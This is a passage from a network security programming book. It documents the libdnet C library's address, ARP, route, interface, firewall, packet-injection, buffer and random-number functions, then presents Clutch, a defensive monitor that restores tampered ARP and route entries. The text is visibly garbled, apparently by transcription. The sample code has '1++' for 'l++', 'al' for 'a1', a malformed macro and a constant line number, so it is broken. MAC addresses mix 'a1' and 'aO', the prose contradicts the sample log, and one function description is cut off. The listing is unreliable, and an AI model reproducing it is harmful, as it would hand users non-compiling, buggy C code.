difference in bits. Ostensibly, this function does not fail, but the addr_type of both addresses must be the

same for it to work properly.

  int addr_bcast(const struct addr *a, struct addr *b);

addr_bcast() determines the broadcast address for the network specified in a and writes it to b. Upon
success, the function returns 0; upon failure (if the address in a is not a supported type), the function returns
- 1 and sets errno.

  int addr_ntop(const struct addr *src, char *dst, size_t size);

addr_ntop() converts a network address in src to its numerical presentation format ("10.0.0.1") and writes
it in dst, which should be a pointer to a character buffer of size bytes. No address-to-name resolution is

performed. To be large enough to hold all of the data, Ethernet addresses should have a size of at least 18
bytes (up to 17 characters to contain the presentation format of the address and one NULL byte). For IP

addresses, the size should be at least 16 bytes (up to 15 characters to contain the presentation format of the
address and one NULL byte). Upon success, the function returns 0; upon failure (if the address in src is not
a supported type or the buffer size is too small), the function returns - 1 and sets errno.



  int addr_pton(const char *src, struct addr *dst);

addr_pton() converts a presentation format address in src to libdnetstyle addr and writes it to dst. This
function might call inet_pton() internally, which might incur a DNS or YP lookup. Upon success, the
function returns 0; upon failure, the function returns - 1 and sets errno.

  int addr_aton(const char *src, struct addr *dst);

addr_aton() is the same function as addr_pton().

  char *addr_ntoa(const struct addr *a);

addr_ntoa() converts the libdnet address in a and returns a pointer to the presentation format string. This
function actually is a wrapper to addr_ntop() with a static internal buffer. Upon success, the function
returns a pointer to the converted address; upon failure (if addr_ntop() fails), the function returns NULL.

  int addr_ntos(const struct addr *a, struct sockaddr *sa);

addr_ntos() converts the libdnet address in a to the appropriate sock-addr type and writes it to sa. Upon
success, the function returns 0; upon failure, the function returns - 1 and sets errno.

  int addr_ston(const struct sockaddr *sa, struct addr *a);

addr_ston() converts a sockaddr format address in sa to a libdnet format address and writes it to a.
Upon success, the function returns 0; upon failure, the function returns - 1 and sets errno.

  int addr_btom(uint16_t bits, void *mask, size_t size);

addr_btom() converts the netmask length in bits to a netmask and writes it to mask, which should be at
least size bytes. The function returns 0.

  int addr_mtob(const void *mask, size_t size, uint16_t *bits);

addr_mtob() determines the size in bits of a network byte-ordered net-mask mask of size size and writes it
to bits. The function returns 0.



  int addr_btos(uint16_t bits, struct sockaddr *sa);

addr_btos() converts the netmask length in bits to a netmask, as specified by sa. The function returns
0.

  int addr_stob(const struct sockaddr *sa, uint16_t *bits);

addr_stob() determines the size in bits of a netmask specified by sa and writes it to bits. The function
returns 0.

 



 

ARP Cache Functions

The ARP cache functionality of libdnet gives the application programmer a simple interface to read from and
write to the kernel's ARP cache.

  arp_t *arp_open(void);

arp_open() opens and initializes an ARP cache handle for use in subsequent ARP functions. Upon
success, the function returns a valid arp_t descriptor; upon failure, the function returns NULL.

  int arp_add(arp_t *a, const struct arp_entry *entry);

arp_add() adds a new MAC address to protocol address (ha to pa) mapping to the ARP cache via a.
entry should contain the desired address mapping. Upon success, the function returns 0; upon failure, the
function returns - 1 and sets errno.

  int arp_delete(arp_t *a, const struct arp_entry *entry);

arp_delete() deletes the ARP mapping entry for the specified protocol address in entry via a. Upon
success, the function returns 0; upon failure, the function returns - 1 and sets errno.

  int arp_get (arp_t *a, const struct arp_entry *entry);

arp_get() retrieves the hardware address mapping arp_ha for the protocol address arp_pa inside entry
via a. Upon success, the function returns 0; upon failure, the function returns - 1 and sets errno.

  int arp_loop(arp_t *a, arp_handler callback, void *arg);
  int callback(const struct arp_entry *entry, void *arg);

arp_loop() iterates over the kernel's ARP cache that a references, invoking the specified callback
function callback with the optional additional argument arg. Upon success, the function returns 0; upon
failure, the function returns - 1 and sets errno. The arp_loop() callback function format expects two
arguments: a pointer to the ARP entry structure entry and the optionally filled-in argument arg.

  arp_t *arp_close(arp_t *a);

arp_close() closes the underlying ARP interface and frees any memory associated with a. The function
returns NULL.



 



 

Route Table Functions

The route table functionality of libdnet gives the application programmer a simple interface to read from and
write to the kernel's route table.

  route_t *route_open(void);

route_open() opens and initializes a route table handle for use in subsequent route functions. Upon
success, the function returns a valid route_t descriptor; upon failure, the function returns NULL.

  int route_add(route_t *r, const struct route_entry *entry);

route_add() adds a route via r for the route table entry in entry. Upon success, the function returns 0;
upon failure, the function returns - 1 and sets errno.

  int route_delete(route_t *r, const struct route_entry *entry);

route_delete() deletes the route via r for the destination address specified inside entry. Upon success,
the function returns 0; upon failure, the function returns - 1 and sets errno.

  int route_get(route_t *r, const struct route_entry *entry);

route_get() retrieves via r the gateway address corresponding to the destination address inside entry.
Upon success, the function returns 0; upon failure, the function returns - 1 and sets errno.

  int route_loop(route_t *r, route_handler callback, void *arg);
  int callback(const struct route_entry *entry, void *arg);

route_loop() iterates over the kernel's route table that r references, invoking the specified callback
function callback with the optional argument arg. Upon success, the function returns 0; upon failure, the
function returns - 1 and sets errno. The route_loop() callback function format expects two arguments: a
pointer to the route table entry entry and the optionally filled-in argument arg.

  route_t *route_close(route_t *r);

route_close() closes the underlying route table interface and frees any memory associated with r. The
function returns NULL.



 



 

Interface Functions

The interface family of functions enables the application programmer to have a simple way to query and set
parameters on network interfaces. The libdnet interface information structure (described in the datatypes
section) employs the flags summarized in Table 6.2 and Table 6.3 to control function and datatype
disposition.

Table 6.2: libdnet Interface Bitmask Values for intf_type

CONSTANT MEANING

INTF_TYPE_ETH Ethernet

INTF_TYPE_LOOPBACK Software loopback

Table 6.3: libdnet Interface Bitmask Values for intf_flags

CONSTANT MEANING

INTF_FLAG_UP enable the interface

INTF_FLAG_LOOPBACK interface sits on a loopback network

INTF_FLAG_POINTOPOINT interface is point to point

INTF_FLAG_NOARP disable ARP on the interface

INTF_FLAG_BROADCAST interface supports broadcast

INTF_FLAG_MULTICAST interface supports multicast

  intf_t *intf_open(void);

intf_open() opens and initializes an interface handle for use in subsequent interface functions. Upon
success, the function returns a valid intf_t descriptor; upon failure, the function returns NULL.



  int intf_get(intf_t *i, struct intf_entry *entry);

intf_get() retrieves an interface configuration entry. To specify which interface, the application
programmer should fill in the intf_name element of the entry structure to the canonical name of the
interface desired. Upon success, the function returns 0; upon failure, the function returns - 1 and sets
errno.

  int intf_get_src(intf_t *i, struct intf_entry *entry, struct
  addr *src);

intf_get_src() retrieves the configuration for the interface whose primary address matches src. Upon
success, the function returns 0; upon failure, the function returns - 1 and sets errno.

  int intf_get_dst(intf_t *i, struct intf_entry *entry, struct
  addr *dst);

intf_get_dst() retrieves the configuration for the best interface with which to reach dst. Note that this
function performs a TCP connect() to port 666 to the specified address. Upon success, the function
returns 0; upon failure, the function returns - 1 and sets errno.

  int intf_set(intf_t *i, const struct intf_entry *entry);

intf_set() configures the specified network device to which entry refers. Upon success, the function
returns 0; upon failure, the function returns - 1 and sets errno.

  int intf_loop(intf_t *i, intf_handler callback, void *arg);
  int callback(const char *device, const struct intf_info *info,
  void *arg);

intf_loop() iterates over all available interfaces on the system referenced by i, invoking the specified
callback callback with the optional argument arg. Upon success, the function returns 0; upon failure, the
function returns - 1 and sets errno. The intf_loop() callback function format expects three arguments:
a pointer to the device device, a pointer to the interface information structure info, and the optional
argument arg.

  intf_t *intf_close(intf_t *i);

intf_close() closes the underlying interface and frees any memory associated with i. The function
returns NULL.

 



 

Firewall Functions

As yet, no other portable library has seen libdnet's capability to interface with an operating system's native
firewall functionality. Many modern robust operating systems contain support for some sort of firewall
capabilities. While similar in theory, all seem to differ wildly in implementation. Libdnet bridges the gap and
enables the application programmer to access this functionality in a portable and consistent fashion. At this
writing, the following operating systems are supported: OpenBSD, FreeBSD, NetBSD, Linux, and MacOS with
Solaris functionality in the works.

You should employ the fw_pack_rule() macro to populate struct fw_rule (described in the datatypes

section).

  fw_t *fw_open(void);

fw_open() opens and initializes a firewall handle for use in subsequent firewall functions. Upon success,
the function returns a valid fw_t descriptor; upon failure, the function returns NULL.

Note In most cases, a firewall handle contains a file descriptor with which the internal libdnet code sets
socket options or performs ioctl() s.

  int fw_add(fw_t *f, struct fw_rule *rule);

fw_add() adds the firewall rule rule to the firewall subsystem that f references. Upon success, the
function returns 0; upon failure, the function returns - 1.

  int fw_delete(fw_t *f, struct fw_rule *rule);

fw_delete() deletes the firewall rule rule from the firewall subsystem that f references. Upon success,
the function returns 0; upon failure, the function returns - 1.

  int fw_loop(fw_t *f, fw_handler callback, void *arg);
  int callback(const struct fw_rule *rule, void *arg);

returns - 1 and sets errno. The fw_loop() callback function format expects two arguments: a pointer to
the firewall rule and the optional argument arg.

  fw_t *fw_close(fw_t *f);

fw_close() closes the firewall interface that f references. The function returns NULL.



  fw_pack_rule(rule, dev, o, dir, p, s, d, sp1, sp2, dp1, dp2);

fw_pack_rule() is a macro that fills in a firewall rule structure rule elements with the arguments specified

corresponding to each member, as Table 6.4 summarizes.

Table 6.4: fw_pack_rule() Arguments

ARGUMENT MEANING

rule the libdnet firewall rule structure to be populated

dev the canonical name of the device, up to 14 bytes including NULL terminator

o firewall operation type

dir direction the rule should be applied

p protocol

s source address

d destination address

sp1 either the low source port number or the ICMP type

sp2 either the high source port number or the ICMP mask

dp1 either the low destination port number or the ICMP code

dp2 either the high destination port number or the ICMP mask

 



 

Ethernet and IP Functions

Libdnet also includes support for Ethernet frame and IP packet injection—functionally equivalent to libnet's raw socket and link-
layer interfaces, as we detailed in Chapter 3 . Because there is no native support for Ethernet frame or IP packet datatypes, these
libdnet functions are most useful for quick and dirty packet injection when more robust functionality such as advanced packet
manipulation is not required. The library does not specify error-reporting status for the following functions. That is, errno might or

might not be set upon an error condition.

  eth_t *eth_open(const char *device);

eth_open() obtains a low-level handle in order to transmit Ethernet frames via device . Upon success, the function returns a
valid eth_t handle pointer; upon failure, it returns NULL .

  int eth_get (eth_t *e, eth_addr_t *ea);

eth_get() retrieves the hardware MAC address of the interface that e references and writes it to ea . Upon success, the
function returns 0; upon failure, it returns -  1 .

  int eth_set (eth_t *e, const eth_addr_t *ea);

eth_set() sets the hardware MAC address of the interface that e references to the Ethernet address stored in ea . Upon
success, the function returns 0; upon failure, it returns -  1 .

  ssize_t eth_send (eth_t *e, const void *buf, size_t len);

eth_send() writes the Ethernet frame in buf of size len bytes to the network via the handle e . Upon success, the function
returns the number of bytes written; upon failure, it returns -  1 .

  eth_t *eth_close (eth_t *e);

eth_close() closes the underlying network interface and frees any memory associated with e . The function returns NULL .

  ip_t *ip_open (void);

ip_open() obtains a handle in order to transmit IP packets. Upon success, the function returns a valid ip_t handle pointer;
upon failure, it returns NULL .



  size_t ip_add_option (void *buf, size_t len, int proto, const void *optbuf, size_t optlen);

ip_add_option() builds a header options list for the protocol proto , which should be either IP_PROTO_IP or
IP_PROTO_TCP . The options list, optbuf , should contain a valid sequence of options of size optlen bytes.

They are then appended to the end of the IP or TCP header stored in buf . Any existing payload shifts in memory to enable the
options header to be padded with NOPs to an even-word boundary if necessary. Upon success, the function returns the length of
the added options list; upon failure, it returns -  1 and sets errno .

  void ip_checksum (void *buf, size_t len);

ip_checksum() calculates the IP checksum for the IP packet in buf of size len bytes. If the packet contains a UDP, TCP, or

ICMP header beyond the IP header, the function computes checksums for those headers as well.

  ssize_t ip_send (ip_t *i, const void *buf, size_t len);

ip_send() writes the IP packet in buf of size len bytes to the network via the handle i . Upon success, the function returns the
number of bytes written; upon failure, it returns -  1 .

  ip_t *ip_close (ip_t *i);

ip_close() closes the underlying network interface and frees any memory associated with i . The function returns NULL .

 



 

Binary Buffers

The binary buffer routines offer the application programmer a simple interface for manipulating arbitrary
dynamic buffers (blobs) of data.

  blob_t *blob_new (void);

blob_new() allocates a new dynamic buffer that is ready for use. The internal state for the buffer, which
includes an offset variable, is initialized to 0 with a BUFSIZ number of bytes allocated. Note that BUFSIZ is a
system-dependent, symbolic constant and is 1024 on some platforms (OpenBSD) and 8192 on others
(Linux). This situation generally should not matter because the blob buffers will grow via realloc() as
needed. Upon success, the function returns a valid blob_t handle pointer; upon failure, the function returns
NULL.

  int blob_read (blob_t *b, void *buf, int len);

blob_read() reads the len number of bytes from b and copies them into buf. Note that the number of
bytes actually copied might be less than len if len is larger than the number of bytes left to be read from b.
Upon success, the function returns the number of bytes copied; upon failure, the function returns 0 (still

technically the number of bytes copied).

  int blob_write (blob_t *b, const void *buf, int len);

blob_write() writes len bytes from buf into b and updates the internal current offset variable to reflect the
write. Upon success, the function returns the number of bytes written; upon failure, the function returns -1.

  int blob_seek (blob_t *b, int off, int whence);

blob_seek() repositions the offset to off in b according to the directive whence, which should be either
SEEK_CUR or SEEK_END. If whence is SEEK_CUR, the offset is repositioned from its current location plus
off. If whence is SEEK_END, however, it is repositioned from the end of the current buffer plus off. If
repositioning results in the offset being less than 0 or greater than the current data buffer length, the function
fails. Upon suc-cess, the function returns the new absolute offset; upon failure, the function returns -1.

  int blob_index (blob_t *b, const void *buf, int len);

blob_index() returns the offset of the first occurrence of buf of size len in b. Upon success, the function
returns the offset of buf; upon failure (buf is not found), the function returns -1.



  int blob_rindex (blob_t *b, const void *buf, int len);

blob_index() returns the offset of the last occurrence of buf of size len in b. Upon success, the function
returns the offset of buf; upon failure (buf is not found), the function returns -1.

  int blob_pack (blob_t *b, const void *fmt, ...);

blob_pack() converts and writes data into b according to the format string specified by fmt. The format
string fmt is a standard format string akin to what the printf() family of functions accepts. It should consist
of zero or more format specifiers. These specifiers can be ordinary characters, which write to b verbatim, or a

series of one or more conversion arguments that result in special formatting being applied to the string before
copying to b. Table 6.5 summarizes the seven different conversion specifiers that blob_pack() supports.

Table 6.5: blob_pack() Format Conversion Specifiers

FLAG MEANING

D An unsigned 32-bit integer in network byte order

H An unsigned 16-bit integer in network byte order

b A binary buffer (length specifier required)

c An unsigned character

d An unsigned 32-bit integer in host byte order

h An unsigned 16-bit integer in host byte order

s A C-style null-terminated string

The character % introduces each conversion specification, the length specifier can also prefix it. Additionally,

the arguments must correspond properly (after type promotion) with the length and conversion specifiers.
The length specifier is either a decimal digit string specifying the length of the followingargument or the literal
character * indicating that you should read the length from an integer argument for the argument following it.
Upon success, the function returns 0; upon failure, the function returns -1. Format specifiers and format

strings in general are covered more in depth in Chapter 10.

  int blob_unpack (blob_t *b, const void *fmt, ...);



blob_unpack() is identical to blob_pack() except that it reads data from b.

  int blob_print (blob_t *b, char *style, int len);

blob_print() prints len bytes of the contents of b from the current offset to the end of the buffer by using
the style that style specifies. At this writing, the only supported printing style is hexl, which prints the buffer
in a typical hexadecimal format. The function does not fail and always returns 0.

  blob_t *blob_free (blob_t *b);

blob_free() frees the memory associated with b. The function returns NULL.

 



 

Random Number Generation

Libdnet also offers the application programmer a rich set of functions to manipulate pseudo-random

numbers. This functionality is useful in many network applications, including packet generation and security
testing.

  rand_t *rand_open (void);

rand_open() obtains a random number handle for fast cryptographic and strong pseudo-random number

generation. The initial seed for the generator is derived from the system random data source device (if one
exists; /dev/arandom or /dev/urandom under Unix variants) or from the current time and random stack
contents. Upon success, the function returns a valid blob_t handle pointer; upon failure (malloc()), the
function returns NULL.

  int rand_get (rand_t *r, void *buf, size_t len);

rand_get() writes len random bytes from r into buf. The function does not fail and returns 0.

  int rand_set (rand_t *r, const void *seed, size_t len);

rand_set() reinitializes r with the seed seed of len bytes. This function is useful when you desire a

random sequence, but it needs to be repeatable (in other words, for network protocol stress testing). The
function does not fail and returns 0.

  int rand_add (rand_t *r, const void *buf, size_t len);

rand_add() writes len bytes of entropy data from buf into r. The function does not fail and returns 0.

  uint8_t rand_uint8(rand_t *r);

rand_uint8() returns an unsigned 8-bit pseudo-random value.

  uint16_t rand_uint16(rand_t *r);

rand_uint16() returns an unsigned 16-bit pseudo-random value.



  uint32_t rand_uint32(rand_t *r);

rand_uint32() returns an unsigned 32-bit pseudo-random value.

  int rand_shuffle(rand_t *r, void *base, size_t nmemb, size_t size);

rand_shuffle() pseudo-randomly shuffles an array of elements nmemb of size bytes, starting at base
and using r. Note that this function performs an implicit malloc(). Upon success, the function returns 0;
upon failure, the function returns -1.

  rand_t *rand_close (rand_t *r);

rand_close() frees the memory associated with r. The function returns NULL.

 



 

Sample Program–Clutch

The following small program illustrates some of the basic functionality provided in the libdnet library. Clutch is
a small tool that sits on a machine and monitors its ARP cache and route table against a predefined ruleset
for tampering. If a rule is violated, Clutch will warn the user; if configured to do so, it will reset the entry to its
predefined state. Clutch builds its ruleset from a simple text-based, line-delimited configuration file that the
user previously creates. Invoked with the -h switch or with no arguments, Clutch dumps its usage as follows:

   tradecraft: ~# ./clutch
   Clutch 1.0 [ARP cache / route table monitoring tool]
   <ctrl-c> to quit
   usage: ./clutch [options] -c config_file:
   -c filename     configuration file
   -h              this jonk here
   -e              enforce rules rather than just warn
   -s              sleep interval in seconds
   -v              be more verbose

The required -c option specifies the configuration file (described as follows). The -e option tells Clutch to
enforce the rules rather than to just warn when they are violated. The -s option enables the user to tune how
often Clutch wakes up to check things out. Finally, the -v option results in more words dumped to the screen
for the user to view.

You can specify two different types of rules in the configuration file: an ARP cache rule and a route table rule.
An ARP cache rule is specified with the "ARP" keyword, and a route table rule is specified with the "RTE"

keyword. After the keyword, you specify two addresses separated by "- >" to denote a mapping. For an ARP
rule, a MAC address followed by an IP address is expected; for a route table rule, two IP addresses are
expected. A series of these rules, one per line, make up a configuration file that Clutch reads and parses into
its database.

The following sample configuration file specifies five ARP cache rules and two route table rules:

   # Clutch configuration file

   #
   # ARP cache entries
   #
   # ARP <MAC address> -> <corresponding protocol address>

   ARP 00:00:2f:21:f2:al -> 192.168.0.1
   ARP 00:01:bc:01:11:29 -> 192.168.0.2
   ARP 00:01:f2:01:22:33 -> 192.168.0.3
   ARP 00:a0:c9:42:a4:ff -> 192.168.0.4
   ARP 00:40:96:5b:12:10 -> 192.168.0.5

   #
   # Route table entries
   #



   # RTE <destination IP address> -> <gateway IP address>

   RTE 192.168.0.1 -> 127.0.0.1
   RTE 192.168.2.0 -> 192.168.1.1

   # EOF

Clutch is useful for high-level network state monitoring and correction. It is a watch guard tool that alerts the
network administrator if anyone or anything tampers with the ARP cache or routing table (due to a
malfunctioning local machine or router or as the result of an attacker with nefarious deeds in mind).
Malcontents often use many known network-level attacks, such as ARP cache poisoning and route table
manipulation.

You can invoke Clutch in "strict policy enforcement mode," where it attempts to reset any entries that violate
its rules database. If Clutch cannot reset a rule, it still attempts to delete it from the system. Consider the
following invocation of Clutch, using the sample configuration file mentioned earlier:

   tradecraft: ~# clutch -v -e -c clutch.cf
   Clutch 1.0 [ARP cache / route table monitoring tool]
   <ctrl-c> to quit
   Verbose mode is on.
   Strict policy enforcement in effect.
   added ARP mapping rule 00:00:2f:21:f2:a1 -> 192.168.0.1
   added ARP mapping rule 00:01:bc:01:11:29 -> 192.168.0.2
   added ARP mapping rule 00:01:f2:01:22:33 -> 192.168.0.3
   added ARP mapping rule 00:aO:c9:42:a4:ff -> 192.168.0.4
   added ARP mapping rule 00:40:96:5b:12:10 -> 192.168.0.5
   added route table rule 192.168.0.1 -> 127.0.0.1
   added route table rule 192.168.2.0 -> 192.168.1.1
   State database loaded (7 rule(s)).
   Program initialized, watching for violations...
   [Feb 4 16:30:34 ARP cache rule violation: 00:01:bc:01:11:29 -> 10.0.0.1]
   [entry should be: 00:01:bc:01:11:29 -> 192.168.0.2]
   [bogus ARP cache entry deleted]
   [correct ARP cache entry restored]
   [Feb 4 22:22:50 route table rule violation: 192.168.2.0 -> 10.0.0.1]
   [entry should be: 192.168.2.0 -> 192.168.1.1]
   [bogus route table entry deleted]
   [correct route table entry restored]

We invoked Clutch in verbose and strict mode and successfully loaded all seven rules. Immediately, Clutch
found an anomalous entry in the ARP cache (MAC address 02:02:02:02:02:02 mapping to IP address
10.0.0.1), then summarily deleted and restored it to the correct mapping. A few hours later, Clutch found
another rule violation—this time, an incorrect route table entry (destination address 192.168.2.0 through
gateway 10.0.0.1). Clutch subsequently fixed it.

 



 

Sample Code–Clutch

The following two source files comprise the Clutch codebase. To preserve readability, we richly comment the
code—but no book-text appears inside the code. You can download the full source files from this book's companion
Web site at http://www.wiley.com/compbooks/schiffman .

clutch.h

   /*
    * $Id: clutch.h,v 1.3 2002/05/05 19:30:20 route Exp $
    *
    * Building Open Source Network Security Tools
    * clutch.h - libdnet example code
    *    
    * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
    * All rights reserved.
    *
    */

   #include <sys/types.h>
   #include <ctype.h>
   #include <errno.h>
   #include <stdio.h>
   #include <stdlib.h>
   #include <string.h>
   #include <unistd.h>
   #include <dnet.h>

   /* mode types */
   #define ARP 0x1
   #define ROUTE 0x2

   /* control flags */ 
   #define VERBOSE 0x1
   #define ENFORCE 0x2

   /* simple macros for code clean up */
   #define STEPOVER_WS (b)             \
        while (!isgraph(*b))           \
        {                              \
             b++;                      \
        }                              \

   #define STEPOVER_NONWS(b)           \
        while (isgraph(*b))            \
        {                              \
             b++;                      \
        }                              \

http://www.wiley.com/compbooks/schiffman


   struct clutch_pack
   {
        u_char flags;                /* control flags */
        arp_t *a;                    /* arp cache handle */
        route_t *r;                  /* route table handle */
        struct clutch_arp_entry *cae;/* linked list of arp cache entries */
        struct clutch_route_entry *cre;/* linked list of route table
   entries */
   };

   struct clutch_arp_entry
   {
        struct addr mac;               /* ethernet address */
        struct addr ip;                /* ip address */
        struct clutch_arp_entry *next; /* next entry in list */
   };

   struct clutch_route_entry
   {
         struct addr ip;                 /* ip address */
         struct addr gw;                 /* gateway */
         struct clutch_route_entry *next;/* next entry in list */
   };
             int init_clutch(struct clutch_pack *, char *);
             int parse_config(struct clutch_pack *, FILE *);
             int new_list_entry(struct clutch_pack **, int, struct addr *,
                  struct addr *);
             char *get_time();
             void free_cp(struct clutch_pack *);
             int check_arp_cache(const struct arp_entry *, void *);
             int check_route_table(const struct route_entry *, void *);
             void usage(char *);

             /* EOF */

clutch.c

   /*
    * $Id: clutch.c,v 1.3 2002/05/05 19:30:20 route Exp $
    *
    * Building Open Source Network Security Tools
    * clutch.c - libdnet example code
    *
    * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
    * All rights reserved.
    *
    */
   #include "./clutch.h"



   int
   main(int argc, char **argv)
   {
        int c, n, sleep_int;
        char *filename;
        struct clutch_pack cp;

        printf("Clutch 1.0 [ARP cache / route table monitoring tool]\n");
        printf("<ctrl-c> to quit\n");

        sleep_int = 1;
        filename = NULL;
        while ((c = getopt(argc, argv, "c:ehs:v")) != EOF)
        {
             switch (c)
             {
                  case 'c':
                       filename = optarg;
                       break;
                  case 'e':
                       cp.flags |= ENFORCE;
                       break;
                  case 'h':
                       usage(argv[0]);
                       exit(EXIT_FAILURE);
                  case 'v':
                       cp.flags |= VERBOSE;
                       break;
                  case 's':
                       sleep_int = atoi(optarg);
                       break;
                  default:
                       usage(argv[0]);
                       exit(EXIT_FAILURE);
             }
        }

        if (filename == NULL)
        {
                       usage(argv[0]);
                       exit(EXIT_FAILURE);
        }

        if (cp.flags & VERBOSE)
        {
             printf("Verbose mode is on.\n");
        }
        if (cp.flags & ENFORCE)
        {
             printf("Strict policy enforcement in effect.\n");
        }



        /*
         * Initialize the program. Open all file handles and parse the
         * configuration file.
         */
        n = init_clutch(&cp, filename);
        if (n == -1)
        {
             return (EXIT_FAILURE);
        }
        if (n == 0)
        {
             fprintf(stderr, "No rules to process!\n");
             return (EXIT_FAILURE);
        }

             fprintf(stderr, "State database loaded (%d rule(s)).\n", n);
             fprintf(stderr, "Program initialized, watching for
     violations...\n");

             for (; ; sleep(sleep_int))
             {
             /*
              * Run through the ARP cache and routing table and check them
              * against our rules to ensure no malcontents have tampered
              * with them.
              *
              * One thing to notice about this program is that we don't
              * explicitly free memory anywhere. This isn't considered a
              * high priority however, since once we malloc memory for our
              * state database, we need all of it until the program quits,
              * in which case we rely on the operating system to reclaim
              * our used resources. Besides, we're done at that point, so
              * who cares!
              */
             if (arp_loop(cp.a, check_arp_cache, &cp) == -1)
             {
                  fprintf(stderr, "error checking ARP cache\n");
             }
             if (route_loop(cp.r, check_route_table, &cp) == -1)
             {
                  fprintf(stderr, "error checking route table\n");
             }
        }
        exit(EXIT_SUCCESS);
   }

   int
   init_clutch(struct clutch_pack *cp, char *filename)
   {
        int n;
        FILE *fp;



        /* open the config file passed in the by user at the CLI */
        fp = fopen(filename, "r+");
        if (fp == NULL)
        {
             perror("init_clutch: fopen");
             return (-1);
        }

        /* get an ARP cache handle */
        cp->a = arp_open();
        if (cp->a == NULL)
        {
             perror("init_clutch: arp_open");
             goto bad;
        }

        /* get a route table handle */
        cp->r = route_open();
        if (cp->r == NULL)
        {
             perror("init_clutch: route_open");
             goto bad;
        }

        /*
         * Parse the configuration file and build the state table for
         * Clutch.
         */
        n = parse_config(cp, fp);
        if (n == -1)
        {
             fprintf(stderr, "parse_config fatal error\n");
             goto bad;
        }
        else
        {
             return (n);
        }
   bad:
        arp_close(cp-> a);
        route_close (cp-> r);
        return (-1);
   }

   int
   parse_config(struct clutch_pack *cp, FILE *fp)
   {
        int l, m;
        char buf[BUFSIZ];
        char *mac_p, *ip_p, *gw_p, *end_p;
        struct addr ip;
        struct addr gw;



        struct addr mac;

        /*
         * Parse the config file with the following logic:
         *
         * - Ignore all lines beginning with "#" or a whitespace character
         * - If a line starts with ARP, parse it as an ARP mapping:
         * - Expect "x:x:x:x:x:x -> y.y.y.y"
         * - Non-fatal continue error if there's a lexical problem
         * - Otherwise store it in the ARP cache mapping list
         * - If a line starts with INT, parse it as an interface entry:
         * - Expect "device flags"
         * - Non-fatal continue error if there's a lexical problem
         * - Otherwise store it in the interface list
         * - If a line starts with RTE, parse it as a route entry:
         * - Expect "x.x.x.x -> y.y.y.y"
         * - Non-fatal continue error if there's a lexical problem
         *     - Otherwise store it in the route table list
         * - Everything else is a non-fatal error
         */
   l = 0;
   m = 0;
   while (fgets(buf, sizeof (buf) - 1, fp))
   {
        /* count configuration file lines */
        1++;
        if (isspace(buf[0]) || buf[0] == '#')
        {
             /* blank link or comment */
             continue;
        }
        if (strstr(buf, "ARP"))
        {
             mac_p = buf;
             ip_p = strstr(buf, "-> ");
             if (ip_p == NULL)
             {
                  goto error;
             }
             /* step past "ARP" */
             mac_p += 3;
             /* step past "->" */
             ip_p += 2;

             /* remove whitespace */
             STEPOVER_WS(mac_p);
             end_p = mac_p;

             /* get to the end of the MAC */
             while (isgraph(*end_p) && !(*end_p == '-'))
             {
             end_p++;



             }
             *end_p = NULL;

             if (addr_aton(mac_p, &mac) == -1)
             {
                  goto error;
             }

             /* remove whitespace */
             STEPOVER_WS(ip_p);
             end_p = ip_p;

             /* get to the end of IP */
             STEPOVER_NONWS(end_p);
             *end_p = NULL;
             if (addr_aton(ip_p, &ip) == -1)
             {
                  goto error;
             }

             /* scrape together some memory for the ARP entry here */
             if (new_list_entry(&cp, ARP, &mac, &ip) == -1)
             {
                 perror("malloc");
                 return (-1);
             }
             m++;
             if ((cp->flags) & VERBOSE)
             {
                  printf("added ARP mapping rule %s -> %s\n",
                       addr_ntoa(&mac),
                       addr_ntoa(&ip));
             }
        }
        else if (strstr(buf, "RTE"))
        {
             ip_p = buf;
             gw_p = strstr(buf, "->"); // find next part of the data
             gw_p += 2;
             ip_p += 3;

             /* remove whitespace */
             STEPOVER_WS(ip_p);
             end_p = ip_p;

             /* get to the end of IP */
             while (isgraph(*end_p) && !(*end_p == '-'))
             {
                  end_p++;
             }
             *end_p = NULL;



             if (addr_aton(ip_p, &ip) == -1)
             {
                  goto error;
             }

             /* remove whitespace */
             STEPOVER_WS(gw_p);
             end_p = gw_p;

             STEPOVER_NONWS(end_p);
             *end_p = NULL;

             if (addr_aton(gw_p, &gw) == -1)
             {
                  goto error;
             }

             /* scrape together some memory for the route entry here */
             if (new_list_entry(&cp, ROUTE, &ip, &gw) == -1)
             {
                  perror("malloc");
                  return (-1);
             }
             m++;
             if ((cp-> flags) & VERBOSE)
             {
                  printf("added route table rule %s -> %s\n",
                       addr_ntoa(&ip),
                       addr_ntoa(&gw));
             }
        }
        else
        {
   error:
             fprintf(stderr,
                  "unknown or malformed rule at line %03d\n", 1);
             }
        }
        return (m);
   }

   int
   new_list_entry(struct clutch_pack **cp, int type, struct addr *al,
        struct addr *a2)
   {
        switch (type)
        {
           case ARP:
           {
              struct clutch_arp_entry *p;
              if ((*cp)->cae == NULL)



              {

                  /* create the head node on the list */
                 (*cp)-> cae = malloc(sizeof (struct clutch_arp_entry));
                 if ((*cp)-> cae == NULL)
                 {
                     return (-1);
                 }
                 memset((*cp)-> cae, 0, sizeof (struct clutch_arp_entry));
                 memcpy(&(*cp)-> cae->mac, al, sizeof (struct addr));
                 memcpy(&(*cp)->cae->ip, a2, sizeof (struct addr));
                 (*cp)-> cae-> next = NULL;
                 return (1);
           }
   else
   {
             /* walk to the end of the list */
             for (p = (*cp)-> cae; p-> next; p = p-> next);

             p->next = malloc(sizeof (struct clutch_arp_entry));
             if (p-> next == NULL)
             {
                  return (-1);
             }
             memset(p->next, 0, sizeof (struct clutch_arp_entry) );
             p = p-> next;
             memcpy(&p->mac, al, sizeof (struct addr));
             memcpy(&p->ip, a2, sizeof (struct addr));
             p->next = NULL;
             return (1);
        }
   }
   case ROUTE:
   {
        struct clutch_route_entry *p;
        if ((*cp)-> cre == NULL)
        {
           /* create the head node on the list */
           (*cp)-> cre = malloc(sizeof (struct clutch_route_entry));
           if ((*cp)-> cre == NULL)
           {
               return (-1);
           }
           memset((*cp)-> cre, 0, sizeof (struct
clutch_route_entry));
           memcpy(&(*cp)-> cre->ip, a1, sizeof (struct addr));
           memcpy(&(*cp)-> cre->gw, a2, sizeof (struct addr));
           (*cp)-> cre-> next = NULL;
           return (1);
        }
        else
        {



             /* walk to the end of the list */
             for (p = (*cp)->cre; p->next; p = p->next);

             p->next = malloc(sizeof (struct clutch_route_entry));
             if (p-> next == NULL)
             {
                  return (-1);
             }
             memset(p->next, 0, sizeof (struct clutch_route_entry));
             p = p-> next;
             memcpy(&p->ip, al, sizeof (struct addr));
